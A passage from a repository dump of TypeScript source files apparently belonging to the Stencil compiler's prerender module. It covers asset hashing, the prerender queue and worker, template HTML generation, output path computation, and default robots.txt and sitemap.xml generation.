excludeComponentScript.replace('__NAMESPACE__', namespace);\n      scriptContent = scriptContent.replace('__EXCLUDE__', JSON.stringify(staticComponents));\n\n      const dataOptsScript = doc.createElement('script');\n      dataOptsScript.innerHTML = scriptContent;\n      dataOptsScript.setAttribute(dataMinifiedAttr, '');\n\n      stencilScriptElm.parentNode.insertBefore(dataOptsScript, stencilScriptElm.nextSibling);\n    }\n  }\n};\n\nconst excludeComponentScript = `\n(function(){\nvar s=document.querySelector('[data-stencil-namespace=\"__NAMESPACE__\"]');\ns&&((s['data-opts']=s['data-opts']||{}).exclude=__EXCLUDE__);\n})();\n`\n  .replace(/\\n/g, '')\n  .trim();\n\nexport const addModulePreloads = (\n  doc: Document,\n  hydrateOpts: d.PrerenderHydrateOptions,\n  hydrateResults: d.HydrateResults,\n  componentGraph: Map<string, string[]>,\n) => {\n  if (!componentGraph) {\n    return false;\n  }\n\n  const staticComponents = hydrateOpts.staticComponents || [];\n\n  const cmpTags = hydrateResults.components.filter((cmp) => !staticComponents.includes(cmp.tag));\n\n  const modulePreloads = unique(\n    flatOne(cmpTags.map((cmp) => getScopeId(cmp.tag, cmp.mode)).map((scopeId) => componentGraph.get(scopeId) || [])),\n  );\n\n  injectModulePreloads(doc, modulePreloads);\n  return true;\n};\n\nexport const removeModulePreloads = (doc: Document) => {\n  const links = doc.querySelectorAll('link[rel=\"modulepreload\"]');\n  for (let i = links.length - 1; i >= 0; i--) {\n    const href = links[i].getAttribute('href');\n    if (href && href.includes('/p-')) {\n      links[i].remove();\n    }\n  }\n};\n\nexport const removeStencilScripts = (doc: Document) => {\n  const stencilScripts = doc.querySelectorAll('script[data-stencil]');\n  for (let i = stencilScripts.length - 1; i >= 0; i--) {\n    stencilScripts[i].remove();\n  }\n};\n\nexport const hasStencilScript = (doc: Document) => {\n  return !!doc.querySelector('script[data-stencil]');\n};\n\nexport const hashAssets = async (\n  sys: d.CompilerSystem,\n  prerenderCtx: PrerenderContext,\n  diagnostics: d.Diagnostic[],\n  hydrateOpts: d.PrerenderHydrateOptions,\n  appDir: string,\n  doc: Document,\n  currentUrl: URL,\n) => {\n  // do one at a time to prevent too many opened files and memory usage issues\n  // hash id is cached in each worker, so shouldn't have to do this for every page\n\n  // update the stylesheet content first so the hash url()s are apart of the file's hash too\n  const links = Array.from(doc.querySelectorAll('link[rel=stylesheet][href]')) as HTMLLinkElement[];\n\n  for (const link of links) {\n    const href = link.getAttribute('href');\n    if (isString(href) && href.length > 0) {\n      const stylesheetUrl = new URL(href, currentUrl);\n      if (currentUrl.host === stylesheetUrl.host) {\n        try {\n          const filePath = join(appDir, stylesheetUrl.pathname);\n          if (prerenderCtx.hashedFile.has(filePath)) {\n            continue;\n          }\n          prerenderCtx.hashedFile.add(filePath);\n\n          let css = await sys.readFile(filePath);\n          if (isString(css) && css.length > 0) {\n            css = await minifyCss({\n              css,\n              async resolveUrl(urlProp) {\n                const assetUrl = new URL(urlProp, stylesheetUrl);\n                const hash = await getAssetFileHash(sys, appDir, assetUrl);\n                assetUrl.searchParams.append('v', hash);\n                return assetUrl.pathname + assetUrl.search;\n              },\n            });\n            sys.writeFileSync(filePath, css);\n          }\n        } catch (e: any) {\n          catchError(diagnostics, e);\n        }\n      }\n    }\n  }\n\n  await hashAsset(sys, hydrateOpts, appDir, doc, currentUrl, 'link[rel=\"stylesheet\"]', ['href']);\n  await hashAsset(sys, hydrateOpts, appDir, doc, currentUrl, 'link[rel=\"prefetch\"]', ['href']);\n  await hashAsset(sys, hydrateOpts, appDir, doc, currentUrl, 'link[rel=\"preload\"]', ['href']);\n  await hashAsset(sys, hydrateOpts, appDir, doc, currentUrl, 'link[rel=\"modulepreload\"]', ['href']);\n  await hashAsset(sys, hydrateOpts, appDir, doc, currentUrl, 'link[rel=\"icon\"]', ['href']);\n  await hashAsset(sys, hydrateOpts, appDir, doc, currentUrl, 'link[rel=\"apple-touch-icon\"]', ['href']);\n  await hashAsset(sys, hydrateOpts, appDir, doc, currentUrl, 'link[rel=\"manifest\"]', ['href']);\n  await hashAsset(sys, hydrateOpts, appDir, doc, currentUrl, 'script', ['src']);\n  await hashAsset(sys, hydrateOpts, appDir, doc, currentUrl, 'img', ['src', 'srcset']);\n  await hashAsset(sys, hydrateOpts, appDir, doc, currentUrl, 'picture > source', ['srcset']);\n\n  const pageStates = Array.from(\n    doc.querySelectorAll('script[data-stencil-static=\"page.state\"][type=\"application/json\"]'),\n  ) as HTMLScriptElement[];\n  if (pageStates.length > 0) {\n    await Promise.all(\n      pageStates.map(async (pageStateScript) => {\n        const pageState = JSON.parse(pageStateScript.textContent);\n        if (pageState && Array.isArray(pageState.ast)) {\n          for (const node of pageState.ast) {\n            if (Array.isArray(node)) {\n              await hashPageStateAstAssets(sys, hydrateOpts, appDir, currentUrl, pageStateScript, node);\n            }\n          }\n          pageStateScript.textContent = JSON.stringify(pageState);\n        }\n      }),\n    );\n  }\n};\n\nconst hashAsset = async (\n  sys: d.CompilerSystem,\n  hydrateOpts: d.PrerenderHydrateOptions,\n  appDir: string,\n  doc: Document,\n  currentUrl: URL,\n  selector: string,\n  srcAttrs: string[],\n) => {\n  const elms = Array.from(doc.querySelectorAll(selector));\n\n  // do one at a time to prevent too many opened files and memory usage issues\n  for (const elm of elms) {\n    for (const attrName of srcAttrs) {\n      const srcValues = getAttrUrls(attrName, elm.getAttribute(attrName));\n      for (const srcValue of srcValues) {\n        const assetUrl = new URL(srcValue.src, currentUrl);\n        if (assetUrl.hostname === currentUrl.hostname) {\n          if (hydrateOpts.hashAssets === 'querystring' && !assetUrl.searchParams.has('v')) {\n            try {\n              const hash = await getAssetFileHash(sys, appDir, assetUrl);\n              if (isString(hash)) {\n                assetUrl.searchParams.append('v', hash);\n                const attrValue = setAttrUrls(assetUrl, srcValue.descriptor);\n                elm.setAttribute(attrName, attrValue);\n              }\n            } catch (e) {}\n          }\n        }\n      }\n    }\n  }\n};\n\nconst hashPageStateAstAssets = async (\n  sys: d.CompilerSystem,\n  hydrateOpts: d.PrerenderHydrateOptions,\n  appDir: string,\n  currentUrl: URL,\n  pageStateScript: HTMLScriptElement,\n  node: any[],\n) => {\n  const tagName = node[0];\n  const attrs = node[1];\n\n  if (isString(tagName)) {\n    if (attrs) {\n      if (tagName === 'img' || tagName === 'source') {\n        for (const attrName of ['src', 'srcset']) {\n          const srcValues = getAttrUrls(attrName, attrs[attrName]);\n          for (const srcValue of srcValues) {\n            const assetUrl = new URL(srcValue.src, currentUrl);\n            if (assetUrl.hostname === currentUrl.hostname) {\n              if (hydrateOpts.hashAssets === 'querystring' && !assetUrl.searchParams.has('v')) {\n                try {\n                  const hash = await getAssetFileHash(sys, appDir, assetUrl);\n                  if (isString(hash)) {\n                    assetUrl.searchParams.append('v', hash);\n                    const attrValue = setAttrUrls(assetUrl, srcValue.descriptor);\n                    attrs[attrName] = attrValue;\n                  }\n                } catch (e) {}\n              }\n            }\n          }\n        }\n      }\n    }\n\n    for (let i = 2, l = node.length; i < l; i++) {\n      if (Array.isArray(node[i])) {\n        await hashPageStateAstAssets(sys, hydrateOpts, appDir, currentUrl, pageStateScript, node[i]);\n      }\n    }\n  }\n};\n\nexport const getAttrUrls = (attrName: string, attrValue: string) => {\n  const srcValues: { src: string; descriptor?: string }[] = [];\n  if (isString(attrValue)) {\n    if (attrName.toLowerCase() === 'srcset') {\n      attrValue\n        .split(',')\n        .map((a) => a.trim())\n        .filter((a) => a.length > 0)\n        .forEach((src) => {\n          const spaceSplt = src.split(' ');\n          if (spaceSplt[0].length > 0) {\n            srcValues.push({ src: spaceSplt[0], descriptor: spaceSplt[1] });\n          }\n        });\n    } else {\n      srcValues.push({ src: attrValue });\n    }\n  }\n  return srcValues;\n};\n\nexport const setAttrUrls = (url: URL, descriptor: string) => {\n  let src = url.pathname + url.search;\n  if (isString(descriptor)) {\n    src += ' ' + descriptor;\n  }\n  return src;\n};\n\nconst hashedAssets = new Map<string, Promise<string | null>>();\n\nconst getAssetFileHash = async (sys: d.CompilerSystem, appDir: string, assetUrl: URL) => {\n  let p = hashedAssets.get(assetUrl.pathname);\n  if (!p) {\n    const assetFilePath = join(appDir, assetUrl.pathname);\n    p = sys.generateFileHash(assetFilePath, 10);\n    hashedAssets.set(assetUrl.pathname, p);\n  }\n  return p;\n};\n\nconst dataMinifiedAttr = 'data-m';\n"
  },
  {
    "path": "src/compiler/prerender/prerender-queue.ts",
    "content": "import { buildError, catchError, isFunction, isString, relative } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { crawlAnchorsForNextUrls } from './crawl-urls';\nimport { getWriteFilePathFromUrlPath } from './prerendered-write-path';\n\nexport const initializePrerenderEntryUrls = (results: d.PrerenderResults, manager: d.PrerenderManager) => {\n  const entryAnchors: d.HydrateAnchorElement[] = [];\n\n  if (Array.isArray(manager.prerenderConfig.entryUrls)) {\n    for (const entryUrl of manager.prerenderConfig.entryUrls) {\n      const entryAnchor: d.HydrateAnchorElement = {\n        href: entryUrl,\n      };\n      entryAnchors.push(entryAnchor);\n    }\n  } else {\n    const entryAnchor: d.HydrateAnchorElement = {\n      href: manager.outputTarget.baseUrl,\n    };\n    entryAnchors.push(entryAnchor);\n  }\n\n  for (const entryAnchor of entryAnchors) {\n    // ensure each entry url is valid\n    // and has a domain\n    try {\n      new URL(entryAnchor.href, manager.outputTarget.baseUrl);\n    } catch (e) {\n      const diagnostic = buildError(results.diagnostics);\n      diagnostic.header = `Invalid Prerender Entry Url: ${entryAnchor.href}`;\n      diagnostic.messageText = `Entry Urls must include the protocol and domain of the site being prerendered.`;\n      return;\n    }\n  }\n\n  const base = new URL(manager.outputTarget.baseUrl);\n\n  const hrefs = crawlAnchorsForNextUrls(manager.prerenderConfig, results.diagnostics, base, base, entryAnchors);\n  for (const href of hrefs) {\n    addUrlToPendingQueue(manager, href, '#entryUrl');\n  }\n};\n\nconst addUrlToPendingQueue = (manager: d.PrerenderManager, queueUrl: string, fromUrl: string) => {\n  if (!isString(queueUrl) || queueUrl === '') {\n    return;\n  }\n  if (manager.urlsPending.has(queueUrl)) {\n    return;\n  }\n  if (manager.urlsProcessing.has(queueUrl)) {\n    return;\n  }\n  if (manager.urlsCompleted.has(queueUrl)) {\n    return;\n  }\n\n  manager.urlsPending.add(queueUrl);\n\n  if (manager.isDebug) {\n    const url = new URL(queueUrl, manager.outputTarget.baseUrl).pathname;\n    const from = fromUrl.startsWith('#') ? fromUrl : new URL(fromUrl, manager.outputTarget.baseUrl).pathname;\n    manager.config.logger.debug(`prerender queue: ${url} (from ${from})`);\n  }\n};\n\nexport const drainPrerenderQueue = (results: d.PrerenderResults, manager: d.PrerenderManager) => {\n  const nextUrl = manager.urlsPending.values().next();\n  if (!nextUrl.done) {\n    if (manager.urlsProcessing.size > manager.maxConcurrency) {\n      // slow it down there buddy, too many at one time\n      setTimeout(() => drainPrerenderQueue(results, manager));\n    } else {\n      const url = nextUrl.value;\n\n      // looks like we're ready to prerender more\n      // remove from pending\n      manager.urlsPending.delete(url);\n\n      // move to processing\n      manager.urlsProcessing.add(url);\n\n      // kick off async prerendering\n      prerenderUrl(results, manager, url);\n\n      if (manager.urlsProcessing.size < manager.maxConcurrency) {\n        // could be more ready for prerendering\n        // let's check again after a tick\n        manager.config.sys.nextTick(() => drainPrerenderQueue(results, manager));\n      }\n    }\n  }\n\n  if (manager.urlsProcessing.size === 0 && manager.urlsPending.size === 0) {\n    if (isFunction(manager.resolve)) {\n      // we're not actively processing anything\n      // and there aren't anymore urls in the queue to be prerendered\n      // so looks like our job here is done, good work team\n      manager.resolve();\n      manager.resolve = null;\n    }\n  }\n};\n\nconst prerenderUrl = async (results: d.PrerenderResults, manager: d.PrerenderManager, url: string) => {\n  let previewUrl = url;\n  try {\n    previewUrl = new URL(url).pathname;\n    let timespan: d.LoggerTimeSpan;\n    if (manager.isDebug) {\n      timespan = manager.config.logger.createTimeSpan(`prerender start: ${previewUrl}`, true);\n    }\n\n    const prerenderRequest: d.PrerenderUrlRequest = {\n      appDir: manager.outputTarget.appDir,\n      baseUrl: manager.outputTarget.baseUrl,\n      buildId: results.buildId,\n      componentGraphPath: manager.componentGraphPath,\n      devServerHostUrl: manager.devServerHostUrl,\n      hydrateAppFilePath: manager.hydrateAppFilePath,\n      isDebug: manager.isDebug,\n      prerenderConfigPath: manager.prerenderConfigPath,\n      staticSite: manager.staticSite,\n      templateId: manager.templateId,\n      url: url,\n      writeToFilePath: getWriteFilePathFromUrlPath(manager, url),\n    };\n\n    // prerender this path and wait on the results\n    const urlResults = await manager.prerenderUrlWorker(prerenderRequest);\n\n    if (manager.isDebug) {\n      const filePath = relative(manager.config.rootDir, urlResults.filePath);\n      const hasError = urlResults.diagnostics.some((d) => d.level === 'error');\n      if (hasError) {\n        timespan.finish(`prerender failed: ${previewUrl}, ${filePath}`, 'red');\n      } else {\n        timespan.finish(`prerender finish: ${previewUrl}, ${filePath}`);\n      }\n    }\n\n    manager.diagnostics.push(...urlResults.diagnostics);\n\n    if (Array.isArray(urlResults.anchorUrls)) {\n      for (const anchorUrl of urlResults.anchorUrls) {\n        addUrlToPendingQueue(manager, anchorUrl, url);\n      }\n    }\n  } catch (e: any) {\n    // darn, idk, bad news\n    catchError(manager.diagnostics, e);\n  }\n\n  manager.urlsProcessing.delete(url);\n  manager.urlsCompleted.add(url);\n\n  results.urls++;\n\n  const urlsCompletedSize = manager.urlsCompleted.size;\n  if (manager.progressLogger && urlsCompletedSize > 1) {\n    manager.progressLogger.update(\n      `           prerendered ${urlsCompletedSize} urls: ${manager.config.logger.dim(previewUrl)}`,\n    );\n  }\n\n  // let's try to drain the queue again and let this\n  // next call figure out if we're actually done or not\n  manager.config.sys.nextTick(() => drainPrerenderQueue(results, manager));\n};\n"
  },
  {
    "path": "src/compiler/prerender/prerender-template-html.ts",
    "content": "import { createDocument, serializeNodeToHtml } from '@stencil/core/mock-doc';\nimport { catchError, isFunction, isString } from '@utils';\n\nimport type * as d from '../../declarations';\nimport {\n  hasStencilScript,\n  inlineExternalStyleSheets,\n  minifyScriptElements,\n  minifyStyleElements,\n  removeStencilScripts,\n} from './prerender-optimize';\n\nexport const generateTemplateHtml = async (\n  config: d.ValidatedConfig,\n  prerenderConfig: d.PrerenderConfig,\n  diagnostics: d.Diagnostic[],\n  isDebug: boolean,\n  srcIndexHtmlPath: string,\n  outputTarget: d.OutputTargetWww,\n  hydrateOpts: d.PrerenderHydrateOptions,\n  manager: d.PrerenderManager,\n) => {\n  try {\n    if (!isString(srcIndexHtmlPath) && outputTarget.indexHtml) {\n      srcIndexHtmlPath = outputTarget.indexHtml;\n    }\n\n    let templateHtml: string;\n    if (isFunction(prerenderConfig.loadTemplate)) {\n      const loadTemplateResult = prerenderConfig.loadTemplate(srcIndexHtmlPath);\n      templateHtml = await loadTemplateResult;\n    } else {\n      templateHtml = await config.sys.readFile(srcIndexHtmlPath);\n    }\n\n    let doc = createDocument(templateHtml);\n\n    let staticSite = false;\n\n    if (prerenderConfig.staticSite) {\n      // purposely do not want any client-side JS\n      // go through the document and remove only stencil's scripts\n      removeStencilScripts(doc);\n      staticSite = true;\n    } else {\n      // config didn't set if it's a staticSite only,\n      // but the HTML may not have any stencil scripts at all,\n      // so we'll need to know that so we don't add preload modules\n      // if there isn't at least one stencil script then it's a static site\n      staticSite = !hasStencilScript(doc);\n    }\n\n    doc.documentElement.classList.add('hydrated');\n\n    if (hydrateOpts.inlineExternalStyleSheets && !isDebug && outputTarget.appDir) {\n      try {\n        await inlineExternalStyleSheets(config.sys, outputTarget.appDir, doc);\n      } catch (e: any) {\n        catchError(diagnostics, e);\n      }\n    }\n\n    if (hydrateOpts.minifyScriptElements && !isDebug) {\n      try {\n        await minifyScriptElements(doc, true);\n      } catch (e: any) {\n        catchError(diagnostics, e);\n      }\n    }\n\n    if (hydrateOpts.minifyStyleElements && !isDebug && outputTarget.baseUrl) {\n      try {\n        const baseUrl = new URL(outputTarget.baseUrl, manager.devServerHostUrl);\n        await minifyStyleElements(config.sys, outputTarget.appDir, doc, baseUrl, true);\n      } catch (e: any) {\n        catchError(diagnostics, e);\n      }\n    }\n\n    if (isFunction(prerenderConfig.beforeSerializeTemplate)) {\n      const beforeSerializeResults = prerenderConfig.beforeSerializeTemplate(doc);\n      doc = await beforeSerializeResults;\n    }\n\n    let html = serializeNodeToHtml(doc);\n\n    if (isFunction(prerenderConfig.afterSerializeTemplate)) {\n      const afterSerializeResults = prerenderConfig.afterSerializeTemplate(html);\n      html = await afterSerializeResults;\n    }\n\n    return {\n      html,\n      staticSite,\n    };\n  } catch (e: any) {\n    catchError(diagnostics, e);\n  }\n  return undefined;\n};\n"
  },
  {
    "path": "src/compiler/prerender/prerender-worker-ctx.ts",
    "content": "import type * as d from '../../declarations';\n\nexport interface PrerenderContext {\n  buildId: string;\n  componentGraph: Map<string, string[]>;\n  prerenderConfig: d.PrerenderConfig;\n  ensuredDirs: Set<string>;\n  templateHtml: string;\n  hashedFile: Set<string>;\n}\n\nconst prerenderCtx: PrerenderContext = {\n  buildId: null,\n  componentGraph: null,\n  prerenderConfig: null,\n  ensuredDirs: null,\n  templateHtml: null,\n  hashedFile: null,\n};\n\nexport const getPrerenderCtx = (prerenderRequest: d.PrerenderUrlRequest) => {\n  if (prerenderRequest.buildId !== prerenderCtx.buildId) {\n    prerenderCtx.buildId = prerenderRequest.buildId;\n    prerenderCtx.componentGraph = null;\n    prerenderCtx.prerenderConfig = null;\n    prerenderCtx.ensuredDirs = new Set();\n    prerenderCtx.templateHtml = null;\n    prerenderCtx.hashedFile = new Set();\n  }\n  return prerenderCtx;\n};\n"
  },
  {
    "path": "src/compiler/prerender/prerender-worker.ts",
    "content": "import { catchError, isFunction, isRootPath, join, normalizePath } from '@utils';\nimport { dirname } from 'path';\n\nimport type * as d from '../../declarations';\nimport { crawlAnchorsForNextUrls } from './crawl-urls';\nimport { getPrerenderConfig } from './prerender-config';\nimport { getHydrateOptions } from './prerender-hydrate-options';\nimport {\n  addModulePreloads,\n  excludeStaticComponents,\n  hashAssets,\n  minifyScriptElements,\n  minifyStyleElements,\n  removeModulePreloads,\n  removeStencilScripts,\n} from './prerender-optimize';\nimport { getPrerenderCtx, PrerenderContext } from './prerender-worker-ctx';\n\nexport const prerenderWorker = async (sys: d.CompilerSystem, prerenderRequest: d.PrerenderUrlRequest) => {\n  // worker thread!\n  const results: d.PrerenderUrlResults = {\n    diagnostics: [],\n    anchorUrls: [],\n    filePath: prerenderRequest.writeToFilePath,\n  };\n\n  try {\n    const prerenderCtx = getPrerenderCtx(prerenderRequest);\n\n    const url = new URL(prerenderRequest.url, prerenderRequest.devServerHostUrl);\n    const baseUrl = new URL(prerenderRequest.baseUrl);\n    const componentGraph = getComponentGraph(sys, prerenderCtx, prerenderRequest.componentGraphPath);\n\n    // webpack work-around/hack\n    const hydrateApp = require(prerenderRequest.hydrateAppFilePath);\n\n    if (prerenderCtx.templateHtml == null) {\n      // cache template html in this process\n      prerenderCtx.templateHtml = sys.readFileSync(prerenderRequest.templateId);\n    }\n\n    // create a new window by cloning the cached parsed window\n    const win = hydrateApp.createWindowFromHtml(prerenderCtx.templateHtml, prerenderRequest.templateId);\n    const doc = win.document;\n    win.location.href = url.href;\n\n    // patch this new window\n    if (isFunction(sys.applyPrerenderGlobalPatch)) {\n      sys.applyPrerenderGlobalPatch({\n        devServerHostUrl: prerenderRequest.devServerHostUrl,\n        window: win,\n      });\n    }\n\n    if (prerenderCtx.prerenderConfig == null) {\n      prerenderCtx.prerenderConfig = getPrerenderConfig(results.diagnostics, prerenderRequest.prerenderConfigPath);\n    }\n    const prerenderConfig = prerenderCtx.prerenderConfig;\n\n    const hydrateOpts = getHydrateOptions(prerenderConfig, url, results.diagnostics);\n\n    if (prerenderRequest.staticSite || hydrateOpts.staticDocument) {\n      hydrateOpts.addModulePreloads = false;\n      hydrateOpts.clientHydrateAnnotations = false;\n    }\n\n    if (typeof hydrateOpts.buildId !== 'string') {\n      hydrateOpts.buildId = prerenderRequest.buildId;\n    }\n\n    if (typeof prerenderConfig.beforeHydrate === 'function') {\n      try {\n        await prerenderConfig.beforeHydrate(doc, url);\n      } catch (e: any) {\n        catchError(results.diagnostics, e);\n      }\n    }\n\n    // parse the html to dom nodes, hydrate the components, then\n    // serialize the hydrated dom nodes back to into html\n    const hydrateResults: d.HydrateResults = await hydrateApp.hydrateDocument(doc, hydrateOpts);\n    results.diagnostics.push(...hydrateResults.diagnostics);\n\n    if (typeof prerenderConfig.filePath === 'function') {\n      try {\n        const userWriteToFilePath = prerenderConfig.filePath(url, results.filePath);\n        if (typeof userWriteToFilePath === 'string') {\n          results.filePath = userWriteToFilePath;\n        }\n      } catch (e: any) {\n        catchError(results.diagnostics, e);\n      }\n    }\n\n    if (hydrateOpts.staticDocument) {\n      removeStencilScripts(doc);\n      removeModulePreloads(doc);\n    } else {\n      if (Array.isArray(hydrateOpts.staticComponents)) {\n        excludeStaticComponents(doc, hydrateOpts, hydrateResults);\n      }\n\n      if (hydrateOpts.addModulePreloads) {\n        if (!prerenderRequest.isDebug && componentGraph) {\n          addModulePreloads(doc, hydrateOpts, hydrateResults, componentGraph);\n        }\n      } else {\n        // remove module preloads\n        removeModulePreloads(doc);\n      }\n    }\n\n    const docPromises: Promise<any>[] = [];\n    if (hydrateOpts.minifyStyleElements && !prerenderRequest.isDebug) {\n      docPromises.push(minifyStyleElements(sys, prerenderRequest.appDir, doc, url, false));\n    }\n\n    if (hydrateOpts.minifyScriptElements && !prerenderRequest.isDebug) {\n      docPromises.push(minifyScriptElements(doc, false));\n    }\n\n    if (hydrateOpts.hashAssets && !prerenderRequest.isDebug) {\n      try {\n        docPromises.push(\n          hashAssets(sys, prerenderCtx, results.diagnostics, hydrateOpts, prerenderRequest.appDir, doc, url),\n        );\n      } catch (e: any) {\n        catchError(results.diagnostics, e);\n      }\n    }\n\n    if (docPromises.length > 0) {\n      await Promise.all(docPromises);\n    }\n\n    if (prerenderConfig.crawlUrls !== false) {\n      results.anchorUrls = crawlAnchorsForNextUrls(\n        prerenderConfig,\n        results.diagnostics,\n        baseUrl,\n        url,\n        hydrateResults.anchors,\n      );\n    }\n\n    if (typeof prerenderConfig.afterHydrate === 'function') {\n      try {\n        await prerenderConfig.afterHydrate(doc, url, results);\n      } catch (e: any) {\n        catchError(results.diagnostics, e);\n      }\n    }\n\n    if (typeof hydrateResults.httpStatus === 'number' && hydrateResults.httpStatus >= 400) {\n      try {\n        win.close();\n      } catch (e) {}\n      return results;\n    }\n\n    const html = await hydrateApp.serializeDocumentToString(doc, hydrateOpts);\n\n    prerenderEnsureDir(sys, prerenderCtx, results.filePath);\n\n    const writePromise = sys.writeFile(results.filePath, html);\n\n    if (Array.isArray(hydrateResults.staticData) && hydrateResults.staticData.length > 0) {\n      const pageDir = dirname(results.filePath);\n\n      await Promise.all(\n        hydrateResults.staticData.map(async (s) => {\n          if (s.type === 'application/json') {\n            const data: any = {\n              [s.id]: JSON.parse(s.content),\n              components: hydrateResults.components.map((c) => c.tag),\n            };\n            const dataFileName = `${s.id}.json`;\n            const dataFilePath = join(pageDir, dataFileName);\n            await sys.writeFile(dataFilePath, JSON.stringify(data));\n          } else {\n            const contentFileName = `${s.id}.txt`;\n            const contentFilePath = join(pageDir, contentFileName);\n            await sys.writeFile(contentFilePath, s.content);\n          }\n        }),\n      );\n    }\n\n    await writePromise;\n\n    try {\n      win.close();\n    } catch (e) {}\n  } catch (e: any) {\n    // ahh man! what happened!\n    catchError(results.diagnostics, e);\n  }\n\n  return results;\n};\n\nconst getComponentGraph = (sys: d.CompilerSystem, prerenderCtx: PrerenderContext, componentGraphPath: string) => {\n  if (componentGraphPath == null) {\n    return undefined;\n  }\n  if (prerenderCtx.componentGraph == null) {\n    const componentGraphJson = JSON.parse(sys.readFileSync(componentGraphPath));\n    prerenderCtx.componentGraph = new Map<string, string[]>(Object.entries(componentGraphJson));\n  }\n  return prerenderCtx.componentGraph;\n};\n\nconst prerenderEnsureDir = (sys: d.CompilerSystem, prerenderCtx: PrerenderContext, p: string) => {\n  const allDirs: string[] = [];\n\n  while (true) {\n    p = normalizePath(sys.platformPath.dirname(p));\n    if (typeof p === 'string' && p.length > 0 && !isRootPath(p)) {\n      allDirs.push(p);\n    } else {\n      break;\n    }\n  }\n\n  allDirs.reverse();\n\n  for (let i = 0; i < allDirs.length; i++) {\n    const dir = allDirs[i];\n    if (!prerenderCtx.ensuredDirs.has(dir)) {\n      prerenderCtx.ensuredDirs.add(dir);\n      sys.createDirSync(dir);\n    }\n  }\n};\n"
  },
  {
    "path": "src/compiler/prerender/prerendered-write-path.ts",
    "content": "import { join } from '@utils';\nimport path from 'path';\n\nimport type * as d from '../../declarations';\n\nexport const getWriteFilePathFromUrlPath = (manager: d.PrerenderManager, inputHref: string) => {\n  const baseUrl = new URL(manager.outputTarget.baseUrl, manager.devServerHostUrl);\n  const basePathname = baseUrl.pathname.toLowerCase();\n\n  const inputUrl = new URL(inputHref, manager.devServerHostUrl);\n  const inputPathname = inputUrl.pathname.toLowerCase();\n\n  const basePathParts = basePathname.split('/');\n  const inputPathParts = inputPathname.split('/');\n\n  const isPrerrenderRoot = basePathname === inputPathname;\n\n  let fileName: string;\n\n  if (isPrerrenderRoot) {\n    fileName = path.basename(manager.outputTarget.indexHtml);\n  } else {\n    fileName = 'index.html';\n  }\n\n  const pathParts: string[] = [];\n\n  for (let i = 0; i < inputPathParts.length; i++) {\n    const basePathPart = basePathParts[i];\n    const inputPathPart = inputPathParts[i];\n\n    if (typeof basePathPart === 'string' && basePathPart === inputPathPart) {\n      continue;\n    }\n\n    if (i === inputPathParts.length - 1) {\n      const lastPart = inputPathParts[i].toLowerCase();\n      if (lastPart.endsWith('.html') || lastPart.endsWith('.htm')) {\n        fileName = inputPathParts[i];\n        break;\n      }\n    }\n\n    pathParts.push(inputPathPart);\n  }\n\n  pathParts.push(fileName);\n\n  // figure out the directory where this file will be saved\n  return join(manager.outputTarget.appDir, ...pathParts);\n};\n"
  },
  {
    "path": "src/compiler/prerender/robots-txt.ts",
    "content": "import { catchError, join } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { getSitemapUrls } from './sitemap-xml';\n\nexport const generateRobotsTxt = async (manager: d.PrerenderManager, sitemapResults: d.SitemapXmpResults) => {\n  if (manager.prerenderConfig.robotsTxt === null) {\n    // if it's set to null then let's not create a robots.txt file\n    return null;\n  }\n\n  try {\n    if (typeof manager.prerenderConfig.robotsTxt !== 'function') {\n      // not set to null, but also no config.robotsTxt(), so let's make a default\n      manager.prerenderConfig.robotsTxt = function robotsTxt(opts) {\n        const content = [`User-agent: *`, `Disallow:`];\n        if (typeof opts.sitemapUrl === 'string') {\n          content.push(`Sitemap: ${opts.sitemapUrl}`);\n        }\n        return content.join('\\n');\n      };\n    }\n\n    const opts: d.RobotsTxtOpts = {\n      urls: getSitemapUrls(manager),\n      baseUrl: manager.outputTarget.baseUrl,\n      sitemapUrl: sitemapResults ? sitemapResults.url : null,\n      dir: manager.outputTarget.dir,\n    };\n\n    const userResults = manager.prerenderConfig.robotsTxt(opts);\n    if (userResults == null) {\n      return null;\n    }\n\n    const results: d.RobotsTxtResults = {\n      content: null,\n      filePath: null,\n      url: null,\n    };\n\n    if (typeof userResults === 'string') {\n      results.content = userResults;\n    } else {\n      results.content = userResults.content;\n      results.filePath = userResults.filePath;\n    }\n\n    if (typeof results.content !== 'string') {\n      return null;\n    }\n\n    const lines = results.content.replace(/\\r/g, '\\n').split('\\n');\n    results.content = lines.map((l) => l.trim()).join('\\n');\n\n    if (typeof results.filePath !== 'string') {\n      results.filePath = join(manager.outputTarget.dir, `robots.txt`);\n    }\n\n    if (typeof results.url !== 'string') {\n      const robotsTxtUrl = new URL(`/robots.txt`, manager.outputTarget.baseUrl);\n      results.url = robotsTxtUrl.href;\n    }\n\n    await manager.config.sys.writeFile(results.filePath, results.content);\n\n    return results;\n  } catch (e: any) {\n    catchError(manager.diagnostics, e);\n    return null;\n  }\n};\n"
  },
  {
    "path": "src/compiler/prerender/sitemap-xml.ts",
    "content": "import { catchError, join } from '@utils';\n\nimport type * as d from '../../declarations';\n\nexport const generateSitemapXml = async (manager: d.PrerenderManager) => {\n  if (manager.prerenderConfig.sitemapXml === null) {\n    // if it's set to null then let's not create a sitemap.xml file\n    return null;\n  }\n\n  try {\n    if (typeof manager.prerenderConfig.sitemapXml !== 'function') {\n      // not set to null, but also no config.sitemapXml(), so let's make a default\n      manager.prerenderConfig.sitemapXml = function sitemapXml(opts) {\n        const content = [];\n        content.push(`<?xml version=\"1.0\" encoding=\"UTF-8\"?>`);\n        content.push(`<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">`);\n\n        for (const url of opts.urls) {\n          content.push(`<url><loc>${url}</loc></url>`);\n        }\n\n        content.push(`</urlset>`);\n        return content.join('\\n');\n      };\n    }\n\n    const opts: d.SitemapXmpOpts = {\n      urls: getSitemapUrls(manager),\n      baseUrl: manager.outputTarget.baseUrl,\n      dir: manager.outputTarget.appDir,\n    };\n\n    const userResults = manager.prerenderConfig.sitemapXml(opts);\n    if (userResults == null) {\n      return null;\n    }\n\n    const results: d.SitemapXmpResults = {\n      content: null,\n      filePath: null,\n      url: null,\n    };\n\n    if (typeof userResults === 'string') {\n      results.content = userResults;\n    } else {\n      results.content = userResults.content;\n      results.filePath = userResults.filePath;\n    }\n\n    if (typeof results.content !== 'string') {\n      return null;\n    }\n\n    if (typeof results.filePath !== 'string') {\n      results.filePath = join(manager.outputTarget.appDir, `sitemap.xml`);\n    }\n\n    if (typeof results.url !== 'string') {\n      const sitemapUrl = new URL(`sitemap.xml`, manager.outputTarget.baseUrl);\n  